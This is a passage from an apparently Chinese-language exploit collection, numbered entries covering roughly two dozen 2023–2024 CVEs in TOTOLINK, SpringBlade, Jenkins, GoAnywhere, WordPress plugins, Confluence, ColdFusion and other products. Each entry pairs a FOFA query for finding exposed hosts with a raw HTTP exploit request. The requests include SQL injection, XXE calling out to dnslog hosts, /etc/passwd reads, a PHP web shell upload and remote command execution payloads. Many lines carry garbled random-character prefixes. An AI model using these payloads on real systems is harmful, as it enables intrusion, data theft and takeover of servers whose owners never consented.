Host: 192.168.40.130:111
$ C6 u- d' j# t; k; BUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
# H$ R' I1 g6 c  P3 b- ~Content-Length: 204
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
. u- a* U: ~6 o$ t2 F! T
+ Z& D+ v- V, r" USAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==


# ^6 g% y6 l3 f- z$ `其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
+ H$ L" r  R2 p: R4 Q+ X. K<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>

% i+ X- }$ Y. W# Z$ H: W5 Y
8 ^/ u; K' q/ m2 e0 m  _! k1 b. [104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
CVE-2024-0569
, B  ^5 g! v0 F$ n  Q# y- ~FOFA：title="TOTOLINK"
POST /cgi-bin/cstecgi.cgi HTTP/1.1
% Y9 y" s2 a1 L$ M& lHost:192.168.0.1
1 U8 ^; z- E9 J" Z4 IContent-Length:41
Accept:application/json,text/javascript，*/*;q=0.01
+ }7 ~" N& N% T# R2 j# uX-Requested-with: XMLHttpRequest
" {6 T0 Z1 T) c/ }+ s! [User-Agent: Mozilla/5.0 (Windows NT 10.0;Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko)Chrome/99.0.4844.51Safari/537.36
+ O. v0 r+ Y) z4 d# lContent-Type: application/x-www-form-urlencoded:charset=UTF-8
Origin: http://192.168.0.1
9 F# \) y% f9 B0 N; j% vReferer: http://192.168.0.1/advance/index.html?time=1671152380564
Accept-Encoding:gzip,deflate
. R$ L0 k6 `: f: M) uAccept-Language:zh-Tw,zh:g=0.9.en-US:g=0.8.en:g=0.7
Connection:close
' q& l, C" {& n6 d% l$ L0 _8 m7 B
& y. {$ h; K- H5 h: l% ?{
( j; M5 N5 e- Y8 {/ J* G"topicurl":"getSysStatusCfg",
4 L0 c# u1 A; C"token":""
}
& @8 e, U6 [, T! n7 b7 U
/ a$ U: [2 X1 m  d/ g; m# R105. SpringBlade v3.2.0 export-user SQL 注入
& U2 l* J' ?* A$ UFOFA：body="https://bladex.vip"
http://192.168.40.130.90/api/bla ... ame&1-updatexml(1,concat(0x7e,md5(102103122),0x7e),1)=1

7 m8 K% p( r7 x- h106. SpringBlade dict-biz/list SQL 注入
FOFA：body="Saber 将不能正常工作"
GET /api/blade-system/dict-biz/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
: N, J5 n$ j7 e3 H( oBlade-Auth: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJpc3MiOiJpc3N1c2VyIiwiYXVkIjoiYXVkaWVuY2UiLCJ0ZW5hbnRfaWQiOiIwMDAwMDAiLCJyb2xlX25hbWUiOiJhZG1pbmlzdHJhdG9yIiwidXNlcl9pZCI6IjExMjM1OTg4MjE3Mzg2NzUyMDEiLCJyb2xlX2lkIjoiMTEyMzU5ODgxNjczODY3NTIwMSIsInVzZXJfbmFtZSI6ImFkbWluIiwib2F1dGhfaWQiOiIiLCJ0b2tlbl90eXBlIjoiYWNjZXNzX3Rva2VuIiwiZGVwdF9pZCI6IjExMjM1OTg4MTM3Mzg2NzUyMDEiLCJhY2NvdW50IjoiYWRtaW4iLCJjbGllbnRfaWQiOiJzd29yZCIsImV4cCI6MTc5MTU3MzkyMiwibmJmIjoxNjkxNTcwMzIyfQ.wxB9etQp2DUL5d3-VkChwDCV3Kp-qxjvhIF_aD_beF_KLwUHV7ROuQeroayRCPWgOcmjsOVq6FWdvvyhlz9j7A
Accept-Encoding: gzip, deflate
$ [% G0 B/ m% g/ f. \" i7 uAccept-Language: zh-CN,zh;q=0.9
Connection: close
6 |. P  F# a, Z% D
+ m1 L+ B+ ~1 q) ^
4 V+ b" Y8 g6 N" b  p7 Q$ W107. SpringBlade tenant/list SQL 注入
, K2 A+ W2 J: i* {, uFOFA：body="https://bladex.vip"
GET /api/blade-system/tenant/list?updatexml(1,concat(0x7e,version(),0x7e),1)=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Blade-Auth:替换为自己的
3 e0 D6 |- E! v# l2 D, z: ^4 OConnection: close

( z' H4 N9 l* p6 X# }; t+ {* b
108. D-Tale 3.9.0 SSRF
CVE-2024-21642
FOFA："dtale/static/images/favicon.png"
GET /dtale/web-upload?type=csv&url=http%3A%2F%2Fa4xs0nop.dnslog.pw HTTP/1.1
Host: your-ip
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
+ O% C+ S4 e- r2 S" ]4 oAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
6 u  K! ^! X: |) l, k1 W* ~  jConnection: close

: r6 D+ U! v2 g. C0 y2 c  B$ ?( O
109. Jenkins CLI 任意文件读取
) {& e  }' W( d$ M1 ZCVE-2024-23897
FOFA：header="X-Jenkins"
POST /cli?remoting=false HTTP/1.1
Host:
Content-type: application/octet-stream
Session: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
0 f+ {/ Y( v, I8 |+ {% ESide: upload
2 C. V' V4 D, ]1 k* z/ O, |; fConnection: keep-alive
Content-Length: 163

b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@/etc/passwd\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'


POST /cli?remoting=false HTTP/1.1
+ y4 n( b% R, @- O  w: ?4 MHost:
( f2 F6 N# n, w+ i. N# f) b. uSession: 39382176-ac9c-4a00-bbc6-4172b3cf1e92
; u/ s0 f* G. m# W$ W; R7 `8 \. ~download
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
% p5 k3 i/ x% y0 W/ N1 V
5 z6 `9 g) p: `% L3 p; G
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
+ S$ o9 \' }% E4 [0 Ejava -jar jenkins-cli.jar help
5 J- S! M. l# w( Q  i" Z& A4 n[COMMAND]
% v7 G! {, U  L. f9 a: ?/ ZLists all the available commands or a detailed description of single command.
1 f# |" x6 ~3 ~7 E- ~5 G COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)


& A6 r( a9 H4 ~110. Goanywhere MFT 未授权创建管理员
0 b! }: k9 _: hCVE-2024-0204
FOFA：body="InvalidBrowser.xhtml"|| icon_hash="1484947000"|| icon_hash="1828756398"|| icon_hash="1170495932"
. w0 N+ r% N* u1 e# V9 A+ YGET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1
Host: 192.168.40.130:8000
5 Y1 d7 h/ n( C; k7 H3 @* I- YUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2820.59 Safari/537.36
Connection: close
: w. Q* z) V  Q2 cAccept: */*
6 v$ i7 u* ^7 N  fAccept-Language: en
Accept-Encoding: gzip

5 g' d; ?( u* E4 p8 K1 D2 X. R) J
& H( d( d* ^1 b- b3 B& I- ]/ s# ]111. WordPress Plugin HTML5 Video Player SQL注入
CVE-2024-1061
FOFA："wordpress" && body="html5-video-player"
) ]6 o! e0 y( C. E9 r$ K0 a0 hGET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1
! M. }8 T) E, `" M! C: o' w, uHost: 192.168.40.130:112
- P; J; H8 ^3 |" NUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
3 M9 m, U5 P9 g) T- Z0 @: W; sAccept: */*
Accept-Language: en
Accept-Encoding: gzip


112. WordPress Plugin NotificationX SQL 注入
CVE-2024-1698
% A$ T4 l1 E7 q) f% q9 YFOFA：body="/wp-content/plugins/notificationx"
POST /wp-json/notificationx/v1/analytics HTTP/1.1
$ j4 @6 H4 _1 ]: \* y$ O% PHost: {{Hostname}}
Content-Type: application/json

{"nx_id": "1","type": "clicks`=1 and 1=sleep(5)-- -"}

6 S" A! x* z# G  H
' |# |: B+ }" J) }: G113. WordPress Automatic 插件任意文件下载和SSRF
CVE-2024-27954
FOFA："/wp-content/plugins/wp-automatic"
GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1
; L% k9 H# G( ]Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept: */*
% N6 B$ p, B; d+ p4 W3 JAccept-Language: en
" A# A4 t  |- }6 J& M6 \Accept-Encoding: gzip


$ f: S9 f3 ]2 B6 d: L" w( [: @114. WordPress MasterStudy LMS插件 SQL注入
' ~" ?( p& k: v$ }# sFOFA：body="wp-content/plugins/masterstudy-lms-learning-management-system/"
; z& \! M8 k, B/ f, m) l- YGET /?rest_route=/lms/stm-lms/order/items&author_id=1&user=1)+AND+%28SELECT+3493+FROM+%28SELECT%28SLEEP%285%29%29%29sauT%29+AND+%283071%3D3071 HTTP/1.1
2 T( p6 C- G" g7 r* uHost: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
' x( `4 e  I) LAccept-Charset: utf-8
) d3 S: I# t- AAccept-Encoding: gzip, deflate
Connection: close
! O8 D8 `" H* @) ^, m; q7 }
6 m9 P! R3 U$ ]2 H% ]- b2 d
115. WordPress Bricks Builder <= 1.9.6 RCE
( f" P* ]: l0 q! Y: f; r$ SCVE-2024-25600
6 p# `$ A8 |0 @& M( SFOFA: body="/wp-content/themes/bricks/"
第一步，获取网站的nonce值
GET / HTTP/1.1
5 F. x# Q" s, tHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
3 S! ~: [* x( b' s4 FAccept-Encoding: gzip
7 K: W) a# T9 u/ I0 r  [. \

  {2 R. w6 Y$ V1 }( @4 x' S第二步替换nonce值，执行命令
POST /wp-json/bricks/v1/render_element HTTP/1.1
Host: x.x.x.x
' E3 r' n  r" [7 Q# UUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
! x- N4 I" A6 h# Q4 Z* k$ AConnection: close
  D$ J% }6 c: g& OContent-Length: 356
! u% \4 Y) X2 s! cContent-Type: application/json
Accept-Encoding: gzip

) B' O# ]$ z# d5 R3 _8 V1 {{
"postId": "1",
' ]3 j" A+ X" m! C, z  ?  "nonce": "第一步获得的值",
  "element": {
    "name": "container",
4 i/ `3 }1 A0 \6 S& n    "settings": {
      "hasLoop": "true",
      "query": {
        "useQueryEditor": true,
; }4 a: e% N+ ?; |/ U4 c' s        "queryEditor": "ob_start();echo `id`;$output=ob_get_contents();ob_end_clean();throw new Exception($output);",
        "objectType": "post"
      }
    }
5 F( s8 u  ?% n; O" }- r  }
5 }1 n5 q2 G/ g4 b/ Y. c7 N}

( Y) m7 k9 {: z# P: [. m
+ h' E6 H# e) A+ y+ p$ O116. wordpress js-support-ticket文件上传
; a# u( m- _/ P7 tFOFA：body="wp-content/plugins/js-support-ticket"
& v* f: F- v: _+ ?& u- G( g. aPOST /wp-admin/?page=configuration&task=saveconfiguration HTTP/1.1
3 ~/ J' Z2 q, Y) F7 T, o+ }Host:
Content-Type: multipart/form-data; boundary=--------767099171
User-Agent: Mozilla/5.0

----------767099171
Content-Disposition: form-data; name="action"
8 X# c# H5 A  n1 |: C- Econfiguration_saveconfiguration
. h: r" ^& J# y$ w# O6 y----------767099171
Content-Disposition: form-data; name="form_request"
: u/ w! U, Y: y0 M6 }, vjssupportticket
----------767099171
! W' N6 h& u; }; aContent-Disposition: form-data; name="support_custom_img"; filename="{{rand8}}.php"
Content-Type: image/png
----------767099171--

+ Z5 F3 _' r  u* i7 |( X* Q) J3 ~9 _
) I) N: s, n; }. s5 c! R8 a( {117. WordPress LayerSlider插件SQL注入
; g5 M- e7 U. x( m( iversion：7.9.11 – 7.10.0
FOFA：body="/wp-content/plugins/LayerSlider/"
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
9 h. I8 f) H6 GConnection: close
  ?. i: n2 ^0 h) @3 mUpgrade-Insecure-Requests: 1
# A* C/ M- s' a

7 q2 X  _' D( q/ D9 s" M2 Q  F118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
5 `# n4 Q9 i/ t2 V6 YCVE-2024-0939
FOFA：title="Smart管理平台"
5 z' w6 B3 S8 K( S: {POST /Tool/uploadfile.php? HTTP/1.1
1 D5 F. L; b- Q  ?# Q/ N8 r7 tHost: 192.168.40.130:8443
4 [3 e- S+ a$ u* p% U" T' l9 v. yCookie: PHPSESSID=fd847fe4280e50c2c3855ffdee69b8f8
! ?$ x4 z/ |  {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6 b" B% I% D7 ]' T* O% {, i6 B. zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: _5 j% e' e  r% ~Accept-Encoding: gzip, deflate
$ ~' M: D! N9 e# _  t, ?$ KContent-Type: multipart/form-data; boundary=---------------------------13979701222747646634037182887
! p. [+ q' ~; K+ ]Content-Length: 405
' N" q- o$ z8 L+ k6 I% jOrigin: https://192.168.40.130:8443
Referer: https://192.168.40.130:8443/Tool/uploadfile.php
: Q2 h4 Z' H8 e: E% E, IUpgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
" X9 Z# n* h$ R% ?0 _& nSec-Fetch-User: ?1
Te: trailers
- p) k+ x& G0 `- @9 t: j' _Connection: close

4 R& r" ^5 J/ y-----------------------------13979701222747646634037182887
Content-Disposition: form-data; name="file_upload"; filename="contents.php"
6 L+ K( B! n, ?: M. a7 RContent-Type: application/octet-stream
+ Y6 q' s) L3 d8 t& J4 a+ m
<?php
6 D5 a3 q. Y) Z+ L0 w/ u) Z8 Isystem($_POST["passwd"]);
?>
* G" J9 Q: e# D+ w; ~-----------------------------13979701222747646634037182887
" B9 w2 L, Q% B$ WContent-Disposition: form-data; name="txt_path"
' {% Y% E9 q7 I/ _; n
& j% o$ E" X% o, l/home/src.php
7 S6 v0 @2 z, `-----------------------------13979701222747646634037182887--
0 V5 B$ L$ t  i6 s; A; P/ X2 g7 G" R

访问/home/src.php

119. 北京百绰智能S20后台sysmanageajax.php sql注入
" J0 u9 c. ?9 cCVE-2024-1254
FOFA：title="Smart管理平台"
先登录进入系统，默认账号密码为admin/admin
3 X, O- y4 ^0 CPOST /sysmanage/sysmanageajax.php HTTP/1.11
Host: x.x.x.x
3 l: w) Y+ R$ K' q+ vCookie: PHPSESSID=b7e24f2cb8b51338e8531e0b50da49ee
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
4 J& ]3 ]8 R6 j- {$ l3 ]Content-Type: application/x-www-form-urlencoded;
Content-Length: 109
Origin: https://58.18.133.60:8443
Referer: https://58.18.133.60:8443/sysmanage/manageadmin.php
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
' m& p- K- }+ [0 ]9 F7 ?Sec-Fetch-Site: same-origin
X-Forwarded-For: 1.1.1.1
' [4 A+ o! z$ h9 E# X8 ?& SX-Originating-Ip: 1.1.1.1
X-Remote-Ip: 1.1.1.1
' g, K; V# a5 z5 U  t" O1 fX-Remote-Addr: 1.1.1.1
Te: trailers
Connection: close

0 A: C/ R/ z; x; dsrc=manageadmin&type=add&id=(select*from(select+if(length(database())=3,sleep(5),1))a)|1|1&value=test2|123456


4 ^8 @! K- v% y* A6 V- X120. 北京百绰智能S40管理平台导入web.php任意文件上传
CVE-2024-1253
FOFA：title="Smart管理平台"
  E' g9 F# }1 o) a# ]3 y) QPOST /useratte/web.php? HTTP/1.1
# d" h4 N8 V! S9 jHost: ip:port
Cookie: PHPSESSID=cb5c0eb7b9fabee76431aaebfadae6db
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
( ^5 t8 O# `9 s" MContent-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
4 N/ j+ B" F2 [4 J; O+ QContent-Length: 597
' i. n5 O- p  c$ U+ `" S! VOrigin: https://ip:port
Referer: https://ip:port/sysmanage/licence.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
8 |3 I& f. \/ nSec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----------------------------42328904123665875270630079328
( |. U( [8 k* A/ CContent-Disposition: form-data; name="file_upload"; filename="2.php"
Content-Type: application/octet-stream
) v. X: k' H8 `4 s
: b2 k+ l+ d, @; T<?php phpinfo()?>
$ k% a  Z# E, z' X: K-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
. c1 `! D$ Y1 S2 h8 f5 [
1
; x' ?% s3 ~/ b, R$ C-----------------------------42328904123665875270630079328
; |3 b- f5 N. |1 [  Y1 Q: RContent-Disposition: form-data; name="1_ck"
+ a" g. t1 ?, j2 ?5 q- L( m
1_radhttp
/ U% }1 B9 z: N, o-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="mode"

import
" x/ X+ b) f3 @-----------------------------42328904123665875270630079328
3 x$ ^; P' J; T
6 i+ Z1 k; v  h& V
0 A* k& w2 F; y# V0 a. h文件路径/upload/2.php

: s8 L( {+ ~. E# V% @7 C121. 北京百绰智能S42管理平台userattestation.php任意文件上传
  F' @* K' ^$ e9 bCVE-2024-1918
FOFA：title="Smart管理平台"
POST /useratte/userattestation.php HTTP/1.1
1 b& S; t% X* [7 E$ uHost: 192.168.40.130:8443
) ~, I1 `6 |$ s4 }+ iCookie: PHPSESSID=2174712c6aeda51c4fb6e6c5e6aaac50
# }* u/ a, A" C- j' W- c9 YUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko
3 s3 G/ M4 M5 s  H( ?9 V/ nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! z( R% m& w: S9 B: pAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------42328904123665875270630079328
Content-Length: 592
7 Y+ R! E, d# @1 qOrigin: https://192.168.40.130:8443
) q' Q  z( W* Q  yUpgrade-Insecure-Requests: 1
4 N+ C4 R8 [, g9 h, x9 ?6 fSec-Fetch-Dest: document
) @$ A8 E$ J- OSec-Fetch-Mode: navigate
' A8 u0 z5 M5 a) ISec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
' c6 G: d$ ?. gTe: trailers
Connection: close
0 N& }9 O& Y, t1 w/ H. u2 {
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="web_img"; filename="1.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
, F+ u7 \7 R5 W8 ?5 b1 `-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="id_type"
& [9 S% [4 S# r# ?; D
1
-----------------------------42328904123665875270630079328
Content-Disposition: form-data; name="1_ck"

2 g) j0 d, p! g; m1_radhttp
-----------------------------42328904123665875270630079328
3 r! F9 v3 |! ?9 ~) Y! C# xContent-Disposition: form-data; name="hidwel"

set
9 f2 [. x* Y2 D- b) R7 Q* j-----------------------------42328904123665875270630079328


6 ?& J4 i( d" `) ~$ _  Y; yboot/web/upload/weblogo/1.php
' g- D/ H; T% l, c! q* N7 v
( k" i; M! x& p. X  F122. 北京百绰智能s200管理平台/importexport.php sql注入
CVE-2024-27718FOFA：title="Smart管理平台"
, G- A, w" J( @9 |- X其中sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=是sql语句使用base64加密后的内容，原文：sql=select 1,database(),version()
$ D" z- q0 P. X0 I! U! QGET /importexport.php?sql=c2VsZWN0IDEsZGF0YWJhc2UoKSx2ZXJzaW9uKCk=&type=exportexcelbysql HTTP/1.1
Host: x.x.x.x
8 R0 o: a2 w9 F* B5 b8 H: wCookie: PHPSESSID=f20e837c8024f47058ad2f689873dfc0
  u' y' E2 a, c9 {$ eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 ^8 x0 Z  a8 J3 q  k# @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; @1 T% [1 f2 a- ?  D/ b/ pAccept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
7 t5 T8 h5 F! ^+ _8 B, r3 j6 y& aSec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
$ h! q$ R4 ]/ N+ t( @

123. Atlassian Confluence 模板注入代码执行
: ]! ]/ l8 G1 @+ F1 i3 n, O6 R0 I# PFOFA：app="ATLASSIAN-Confluence" && body="由 Atlassian 合流8.5.3"
- `+ l4 v* R8 x3 APOST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
8 I% d0 B. `: O( d; zAccept-Encoding: gzip, deflate, br
5 {( O. B4 @" W& bAccept: */*
- i4 A5 i" H  q5 S9 s! R, L5 @Accept-Language: en-US;q=0.9,en;q=0.8
: m1 h: A* M. G; I* F1 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
8 V9 J2 X. a' j( kConnection: close
Content-Type: application/x-www-form-urlencoded

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=@org.apache.struts2.ServletActionContext@getResponse().setHeader('X-Cmd-Response',(new freemarker.template.utility.Execute()).exec({"id"}))


3 _, L) F5 }: b5 D: w124. 湖南建研工程质量检测系统任意文件上传
6 }4 F. w3 [8 |: U& N$ \, JFOFA：body="/Content/Theme/Standard/webSite/login.css"
POST /Scripts/admintool?type=updatefile HTTP/1.1
Host: 192.168.40.130:8282
, R, b6 o5 {* V; [+ S: ZUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Content-Length: 72
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
& m* |& i3 b2 H* aAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& [& ~/ J. N2 YConnection: close
Content-Type: application/x-www-form-urlencoded
! ~* [! E( q# \# C
! e% b/ d+ H9 a; i5 S1 ifilePath=abcgcg.aspx&fileContent=<%Response.Write("Hello,World")%>


http://192.168.40.130:8282/Scripts/abcgcg.aspx
( S  Q( p' N. C# M! P$ w6 F% v
5 e8 O8 n9 i1 g8 \  v. _125. ConnectWise ScreenConnect身份验证绕过
3 t7 z5 d+ x+ U3 I7 b& {CVE-2024-1709
- m# M  D& W5 A0 W. |, _( qFOFA：icon_hash="-82958153"
# \; ?  R! b, Nhttps://github.com/watchtowrlabs ... bypass-add-user-poc
# g# h4 ~; d! L+ R

: C8 I2 B; l& k, z  L# \使用方法
, U8 F- S7 T. l1 w6 wpython watchtowr-vs-ConnectWise_2024-02-21.py --url http://localhost --username hellothere --password admin123!

6 t' ?. p  S, N, _2 c
创建好用户后直接登录后台，可以执行系统命令。

! l% B' a6 R  o2 j( W9 H5 L126. Aiohttp 路径遍历
* V' |. q& w! r5 sFOFA：title=="ComfyUI"
GET /static/../../../../../etc/passwd HTTP/1.1
2 i+ e% \" t! u* J; r9 g% v- EHost: x.x.x.x
5 K, A- u  h5 O' S. h2 @- ]+ BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
, T2 {: |; O* r1 A& E- p+ m0 oConnection: close
Accept: */*
Accept-Language: en
' p4 |% v2 B1 \: L8 Y9 ~( lAccept-Encoding: gzip


127. 广联达Linkworks DataExchange.ashx XXE
FOFA：body="Services/Identification/login.ashx"
POST /GB/LK/Document/DataExchange/DataExchange.ashx HTTP/1.1
. L' ]% \' u1 C& c  P; ]" VHost: 192.168.40.130:8888
4 e) n! l, S* I4 {5 VUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Content-Length: 415
0 e5 u7 x+ T( l1 }: FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 U( F$ W/ a# V2 J$ G! jAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 X9 l; }+ N/ r0 `1 v1 d  S& YConnection: close
0 j- c# m# o# {3 R; ~$ @# M: s( W( eContent-Type: multipart/form-data;boundary=----WebKitFormBoundaryJGgV5l5ta05yAIe0
Purpose: prefetch
2 m( b1 [, H% X0 u, E7 NSec-Purpose: prefetch;prerender
. H6 x$ D) e6 K% w/ y
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="SystemName"
9 V# K0 |1 l! w. [% V- _9 n5 u2 y. {5 f
% X$ G: z" P' K# x; `& M* QBIM
------WebKitFormBoundaryJGgV5l5ta05yAIe0
Content-Disposition: form-data;name="Params"
6 Y  w6 ?! ]/ u& g& wContent-Type: text/plain
- Z1 j' m) \4 }9 v4 D! U4 Y
<?xml version="1.0" encoding="UTF-8"?>
! b; `9 p/ `+ ^. q6 }5 K. I% }<!DOCTYPE test [
<!ENTITY t SYSTEM "http://c2vkbwbs.dnslog.pw">
, d' B( {$ {0 E3 ^0 \' @* C/ ^- V]
/ K/ |/ M6 U1 |' D! r>
<test>&t;</test>
------WebKitFormBoundaryJGgV5l5ta05yAIe0--



$ b& k- ^- \( ]4 Q: @128. Adobe ColdFusion 反序列化
CVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
: Z, v  e0 j/ o& ]: nFOFA：app="Adobe-ColdFusion"
, a7 H# `& |( B4 t; `* jPAYLOAD

9 f7 @8 \' u5 ~9 I" ]+ i129. Adobe ColdFusion 任意文件读取
1 L0 _1 l( T. BCVE-2024-20767
' \1 j4 u% l/ {FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
9 j& x- n0 U& J: U0 T/ }/ }- K第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
; C8 f8 r. ]4 Q$ B0 Y9 W7 g6 x0 kHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
1 G) ^) `6 H- z( W- z4 t& ]Accept: */*
Accept-Encoding: gzip, deflate
Connection: close


